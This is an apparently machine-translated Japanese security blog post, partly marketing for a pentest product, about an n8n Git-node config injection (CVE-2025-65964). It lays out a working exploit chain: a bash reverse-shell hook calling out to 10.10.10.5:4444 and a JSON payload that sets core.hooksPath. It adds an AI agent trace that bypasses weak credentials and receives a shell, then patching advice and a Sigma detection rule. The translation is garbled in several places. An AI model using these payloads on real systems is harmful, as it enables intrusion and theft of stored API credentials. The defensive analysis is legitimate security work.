急速に進化するAIセキュリティの状況において、業界はしばしば大規模言語モデルに対する敵対的攻撃(プロンプト・インジェクションなど)に固執する一方で、これらのエージェントを支える「骨格」(オーケストレーション・レイヤー)を軽視している。
2025年12月8日、セキュリティー・コミュニティは次のように公表した。 CVE-2025-65964にリモートコード実行 (RCE) の重大な脆弱性が存在します。 n8n世界で最も人気のあるオープンソースのワークフロー自動化ツールです。CVSS v4スコアは 9.4(クリティカル)この欠陥は単なるウェブのバグではない。Gitの基本的な設定ロジックを巧妙に悪用し、正当なバージョン管理操作を武器にして、最新のAIスタックの中枢神経系を危険にさらしているのだ。
この記事では、一般的な勧告の枠を超えている。筋金入りのレッドチームの視点から、この記事の全内容を解剖する。 エクスプロイト・チェーンその根本原因、そしてなぜこれが「エージェントによるサプライチェーン攻撃」の真髄なのか。
コンテキストGitがベクターになるとき
n8nは、LLM(GPT-5のような)、ベクターデータベース(Pineconeのような)、内部APIを接着するために広く使用され、最新のAIアプリケーションの基礎となっています。ワークフローのCI/CDとバージョン管理をサポートするために、n8nは強力な組み込みの Gitノード.
の核心である。 CVE-2025-65964 n8nのGit Nodeが設定キーのサニタイズに失敗したことにあります。 追加設定 を操作する。攻撃者はこの見落としを利用して コア.hooksPath コンフィギュレーションを変更することで、Gitバイナリの実行フローを効果的に乗っ取ることができる。

理解する コア.hooksPath
標準的なGitアーキテクチャでは、フック(例えば コミット, チェックアウト, マージ)はリポジトリの .git/hooks ディレクトリのフックを複製します。セキュリティ上の理由から、Gitはリポジトリをクローンする際にこれらのフックを複製しません。
しかし、Git 2.9ではcore.hooksPath設定オプションが導入され、ファイルシステム上の任意の場所にフック用のカスタムパスを定義できるようになりました。
もし攻撃者がこのコンフィギュレーション・キーをコントロールし、書き込み権限のあるディレクトリ(例えば/tmp/やファイル・アップロード・ディレクトリ)を指定することができれば、次にn8nが何らかのGit操作を行った時に、Gitはサンドボックスから抜け出して攻撃者のスクリプトを実行します。
エクスプロイト・チェーン論理バグのマスタークラス
エクスプロイトを成功させるには、単一のペイロードだけでなく、"Logic Orchestration "が必要です。以下は、私たちの研究所で行われた攻撃のステップ・バイ・ステップの再現です。
フェーズ1:偵察とアクセス
攻撃者はまず、n8nワークフローエディタにアクセスする。多くの企業イントラネットでは、n8nはAIエンジニアやデータサイエンティストによってデプロイされており、多くの場合、厳格な認証が欠けているか、弱いデフォルト認証情報の後ろに置かれている。
ターゲット確認:0.123.1 <= n8n バージョン < 1.119.2.
フェーズ2:ペイロードのステージング
以来 コア.hooksPath ディレクトリを指している場合、攻撃者はまず特定のGitフック名を持つ実行スクリプトを仕込まなければなりません(例えば チェックアウト後)を書き込み可能な場所に置く。
n8nの使用 「バイナリファイルの書き込み ノード(ハード化されていない場合は「コマンドの実行」ノード)で、攻撃者は悪意のあるスクリプトを投下する。
悪意あるスクリプトの例 (/tmp/pwn/post-checkout):
バッシュ
#!/bin/bash
リバースシェルのペイロード
Gitチェックアウト操作の後にサイレントで実行される
/bin/bash -i >& /dev/tcp/10.10.10.5/4444 0>&1`.
フェーズ3:コンフィギュレーション・インジェクション
これがトリガーポイントだ。攻撃側は Gitノード を選択し、"Add Config "操作を選択する。通常、ユーザーは ユーザー名 または ユーザーメールアドレス.しかし、JSONパラメータを直接操作することで、攻撃者は危険なキーを注入する。
エクスプロイトのJSONペイロード:
JSON
{ "parameters":{ "operation":"addConfig", "configName":"core.hooksPath", "configValue":"/tmp/pwn", "repositoryPath":"/home/node/.n8n/git/workflow_repo" }, "name":"Weaponized_Git_Config", "type":"n8n-nodes-base.git", "typeVersion":1, "position":[460, 300] }
このノードが実行されると、基礎となるn8nプロセスが実行される:
git config -file /home/node/.n8n/git/workflow_repo/.git/config core.hooksPath /tmp/pwn
フェーズ4:トリガー
一旦設定が設定されると、それは永続的です。攻撃者はワークフローに別の Git Node を追加するだけで、git checkout master や git status のような無害な操作を実行できるようになります。
シーケンスGitプロセス開始 -> core.hooksPath読み込み -> /tmp/pwn/post-checkout読み込み -> RCE実行。

なぜこれがAIインフラの悪夢なのか
セキュリティ・エンジニアにとって、次のようなことを理解することは重要である。 衝撃 はバグそのものよりも重要である。AI時代において、n8nサーバーは単なるウェブサービスではない。 キーボールト.
- クレデンシャルのダンプ:n8nデータベースには、OpenAI、AWS Bedrock、Snowflake、Slackの暗号化されたAPIキーが含まれている。シェルアクセスにより、攻撃者はこれらの認証情報(多くの場合、~/.n8n/database.sqliteにある)を解読することができ、企業のクラウド環境の完全な侵害につながります。
- RAGポイズニング:攻撃者はベクターデータベースに書き込むワークフローを乗っ取ることができます。悪意のある知識スニペットを注入することで、企業内部のRAGシステムの出力を操作し、深いソーシャルエンジニアリングや偽情報キャンペーンを促進することができます。
- コンテナ脱出のリスク:多くの n8n デプロイメントでは、LangChain のような Python ライブラリがシステムとやりとりできるように、昇格した特権(または -privileged)で実行されます。このような場合、コンテナ内の RCE はホスト上の Root と機能的に同等です。
ペンリジェントのケーススタディエージェント対エージェント
で ペンリジェント我々はこれを「論理的欠陥」として分類する。従来のDASTスキャナは、以下の理由でCVE-2025-65964を検出できなかった:
- スキャナーは "ワークフローの構築 "を知らない。
- スキャナーは、"最初にファイルを書き、次にGitを設定する "という時間的論理を理解できない。
しかし、Penligentの自動ペネトレーション・テスト・エージェントは、高度な人間の攻撃者を模倣した推論能力を示しています。
[Penligent Agent Internal Trace - 2025-12-09 14:02:33]。
観測:ターゲットポート5678オープン。n8nと確認。弱い認証情報のバイパス成功。
理由Git ノード機能を検出。ナレッジベースはGit Configインジェクションのリスクを示しています。コマンドの直接実行はブロックされています。環境やコンフィグを操作して実行することはできますか?
行動計画:
- 試み
コマンド実行でイグレスを検証する(失敗、ノード無効)。- ピボット戦略ファイル書き込みプリミティブを探す
バイナリファイルの書き込みノードが利用できる。- Exploit Chainを構築する:リバースシェルを/tmp/.git-hooksに書き込み -> Git Node経由でcore.hooksPathにインジェクト -> Git Log.Executionをトリガー:ワークフローID pwn_test_01.Result:リバースシェルコールバックを受信。脆弱性が検証されました。
これこそが、この会社の核となる価値提案である。 寡黙: AIと戦うためにAIを使う.私たちのエージェントは単に指紋を照合するだけでなく、ビジネスロジックを理解し、安全なサンドボックス内で高次の敵の手口をシミュレートします。

防衛と探知
修復
- すぐにパッチを当てる: n8nをバージョンアップ 1.119.2 またはそれ以降。新しいバージョンでは
追加設定キーだ。 - 硬化する: を使用する。
N8N_NODES_EXCLUDE=["n8n-nodes-base.git"]を参照してください。環境変数をDockerのセットアップに追加することで、ミッション・クリティカルでない場合はGitノードを完全に無効にすることができます。
脅威ハンティング
違反が疑われる場合は、以下の監査を行ってください。 .git/config ファイルをn8nサーバーに保存します。
シグマ検出ルールの例:
ヤムル
タイトルsuspicious Git Config Modification via n8n status: experimental logsource: category: process_creation product: linux detection: selection:parentImage|endswith:'/node' Image|endswith:'/git' CommandLine|contains:- 'config' - 'core.hooksPath' 条件: 選択レベル: high
Node.jsプロセスによって生成されたGitコマンドはすべて コア.hooksPath は、忠実度の高い妥協の指標(IoC)として扱われるべきである。
結論
CVE-2025-65964 は、ソフトウェア開発が「エージェント・ネイティブ」アーキテクチャにシフトするにつれ、従来の境界が曖昧になりつつあることを改めて証明している。ツールの柔軟性は、しばしばセキュリティの最大の敵である。
筋金入りのセキュリティ・エンジニアにとって、戦場はウェブ・フロントエンドからオーケストレーション・バックエンドに移っている。HTTPリクエストを見るだけでなく、バックグラウンドで静かに動いているワークフローを見よう。自動化されたGitオペレーションを見るのだ。これが2025年の最前線だ。
このような複雑なロジックのリスクを手作業で検証するマンパワーがチームに不足している場合、次のような人材を導入することをお勧めします。 寡黙-AIの時代に一線を画す、インテリジェントなデジタル・レッドチーマー。
内部リンク/参考文献

